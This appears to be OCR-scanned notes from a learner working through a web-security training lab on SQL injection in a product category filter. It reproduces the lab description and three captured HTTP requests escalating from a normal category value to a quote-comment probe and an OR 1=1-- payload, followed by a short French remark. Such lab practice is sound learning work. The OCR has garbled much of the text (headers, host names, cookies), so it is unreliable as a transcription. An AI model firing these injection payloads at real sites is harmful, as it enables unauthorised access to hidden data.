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Lab: SQL injection vulnerability in WHERE clause allowing retrieval of
hidden data

APPRENTICE
N LAB Mot solved

This lab contains a SQL injection vulnerability in the product category filter. When the user selects a category, the application carries out a
SQL query like the following:

SELECT * FROM products WHERE category = 'Gifts' AND released = 1

To solve the lab, perform a SQL injection attack that causes the application to display cne or more unreleased products.
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GET /filter?category=Lifestyle] HTTE/Z

Host: Oa=s300e3045kaZatSt033£d7£004900cl. web-security—academ
Cookie: session=mcuCollOKI lwMLLSOlxpfivSISTESHot
Sec-Ch-Ta: "MNot.i/Brand";v="99", "Chromiwm";w="L13E"
Sec-Ch-Ta-Mobile: 70

Sec-Ch-Ta-Flatform: "Windows"™

Aocept-Language: fr-FE, fr:g=0.9

Upgrade-Insecure-ERequests: 1

User—Agent: Mozilla/5.0 (Windows INT 10.0; Wingd; x&4)
LAppleWebKEit/537.36 (EHTML, like Gecko) Chroms/13£.0.0.0
Safari/537.36

Aooept:

text/html, application/xhtml4xml, application/xml; gq=0.9, imag
ge/webp, image/ apng, */ *;q=0.8, application/=signed-exchangs; v
Sec-Fetch-5ite: none

Sec-Fetoch-Mode: navigate

Sec-Fetch-User: 71

Sec-Fetch-Dest: document

Aocept-Encoding: gzip, deflate, br

Priocrity: u=0, i

GET /filter?category=Lifestyle'—— HTTE/Z

Host: 0as30023045baZad8033i£d7£004200cl. web-security
Cookie: session=mcuCollOKIZlwMLLSO1lxpfiySISTESXct
Sec-Ch-Ta: "MNot.l/Brand";w="99", "Chromium";v="13"
Sec-Ch-TUa-HMobhile: 20

Sec-Ch-Ta-FPlatform: "Windows"
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GET /filter?category=Lifestyle'CRE 1=1-- HTTF/Z

Host:
Oa=s30023045khalaBB033£d47£004500c . webh—secur ity—acadesm
v.net

Cookie: session=mculollOEZ lwMLLAOlxpfiveISTE9HcE
Sec—-Ch-TUa: "Not.i/Brand";v="89", "Chromium";wv="136"
Sec-Ch-Ua-Mobile: 20

Sec-Ch-Ua-Platform: "Windows"

Aoccept-Language: fr-FEB,fr:q=0.9
Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Wingd;
xE4) AppleWsbKit/537.36 (KHTHML, like Gecko)
Chrome/136.0.0.0 Safari/537.3€

Aocept:

text/html, application/xhtml+xml, application/xml; q=0.
9, image/avif, image/webp, image/apnyg, */ *;=0.8, applica
tion/signed-exchanges;v=hb3;q=0.7

Sec-Fetch-3ite: none

Sec-Fetch-Mode: navigate

Sec-Fetch-User: 71

Sec-Fetch-Dest: document

Accept-Encoding: gzip, deflate, br

Priority: u=0, i
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Et on a des fenétres qui s'affichent en plus
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